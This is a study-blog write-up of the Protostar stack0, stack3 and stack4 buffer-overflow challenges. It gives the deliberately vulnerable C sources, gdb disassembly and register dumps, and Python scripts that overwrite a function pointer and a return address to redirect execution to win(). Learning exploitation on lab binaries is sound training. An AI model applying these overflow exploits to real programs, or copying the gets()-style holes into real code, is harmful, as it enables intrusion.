RNRF 2021. 11. 3. 00:49

13. Buffer Overflows can Redirect Program Execution - bin.0x0D

: Content
-> gdb, objdump
-> python
-> stack layout

: stack0(C code)(/opt/protostar/bin/stack0)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
: stack3(C code)(/opt/protostar/bin/stack3)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}
-> Basically the code is the same. The only difference was that the variable name was changed to "fp" and was defined as a function pointer.
-> volatile int modified;
-> volatile int (*fp)();

: gdb stack3
-> x win (x = exam)
-> 0x8048424 <win>:        0x83e58955
-> p win (p = print)
-> $1 = {void (void)} 0x8048424 <win>
-> set disassembly-flavor intel
-> disassemble main
-> Dump of assembler code for function main:
0x08048438 <main+0>:    push   ebp
0x08048439 <main+1>:    mov    ebp,esp
0x0804843b <main+3>:    and    esp,0xfffffff0
0x0804843e <main+6>:    sub    esp,0x60 // Make space for 60 bytes from the stack.
0x08048441 <main+9>:    mov    DWORD PTR [esp+0x5c],0x0 // Location of “fp” variable.
0x08048449 <main+17>:   lea    eax,[esp+0x1c]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt> // Gets the value using the "gets" function.
0x08048455 <main+29>:   cmp    DWORD PTR [esp+0x5c],0x0 // compare values.
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    eax,0x8048560
0x08048461 <main+41>:   mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:   mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:   mov    DWORD PTR [esp],eax
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax // Load as "eax" and call the address(fp()).
0x08048477 <main+63>:   leave
0x08048478 <main+64>:   ret
End of assembler dump.
-> break *0x08048475
-> r
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-> info registers
eax            0x41414141       1094795585
ecx            0x0      0
edx            0xb7fd9340       -1208118464
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7b8       0xbffff7b8
esi            0x0      0
edi            0x0      0
eip            0x8048475        0x8048475 <main+61>
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> c
-> Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

: First, see which offset controls “eax”.
-> vim stack.py
print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
-> python stack.py
-> AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

Tips. Pipe this output to a file.
-> python stack.py > exp
-> cat exp
-> AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

: gdb stack3
-> break *0x08048475
-> r < /tmp/exp
-> info registers
eax            0x51515151       1364283729 // chr(0x51) = Q
ecx            0x0      0
edx            0xb7fd9340       -1208118464
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7b8       0xbffff7b8
esi            0x0      0
edi            0x0      0
eip            0x8048475        0x8048475 <main+61>
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> Now we can see which offset modifies "eax".

: vim stack.py
-> padding = “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP”
padding += “\x24\x48\x04\x08” # 0x8048424 & Little Endian
print padding
-> python stack.py > exp
: gdb
-> r
-> info registers
eax            0x8048424        134513700
ecx            0x0      0
edx            0xb7fd9340       -1208118464
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7b8       0xbffff7b8
esi            0x0      0
edi            0x0      0
eip            0x8048475        0x8048475 <main+61>
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> si
-> win () at stack3/stack3.c:7
7       in stack3/stack3.c
-> c
-> Continuing.
code flow successfully changed
Program exited with code 037.

: stack4(C code)(/opt/protostar/bin/stack4) # Buffer overflow utilizing stack layout.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

: When a function is called, the address we want to go back to can be saved in the stack.
-> Thus, instead of overflowing local variables, you can simply overflow the return pointer.

: vim stack.py
-> padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print padding

: gdb stack4
-> r < /tmp/exp
-> Starting program: /opt/protostar/bin/stack4 < /tmp/exp
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? () # chr(0x54) = T
-> info registers
eax            0xbffff770       -1073744016
ecx            0xbffff770       -1073744016
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7c0       0xbffff7c0
ebp            0x53535353       0x53535353
esi            0x0      0
edi            0x0      0
eip            0x54545454       0x54545454
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

: This time, use "objdump" to locate the address of the "win" function.
-> objdump -t stack4 | grep win
-> 080483f4 g     F .text  00000014              win

Tips. There is a better way to encode addresses into strings.
-> vim stack.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR"
ebp = "AAAA"
eip = struct.pack("I", 0x080483f4)
print padding+ebp+eip
-> python stack.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault
-> why “Segmentatin fault”?
-> This is because they want to return to the completion of the "win" function.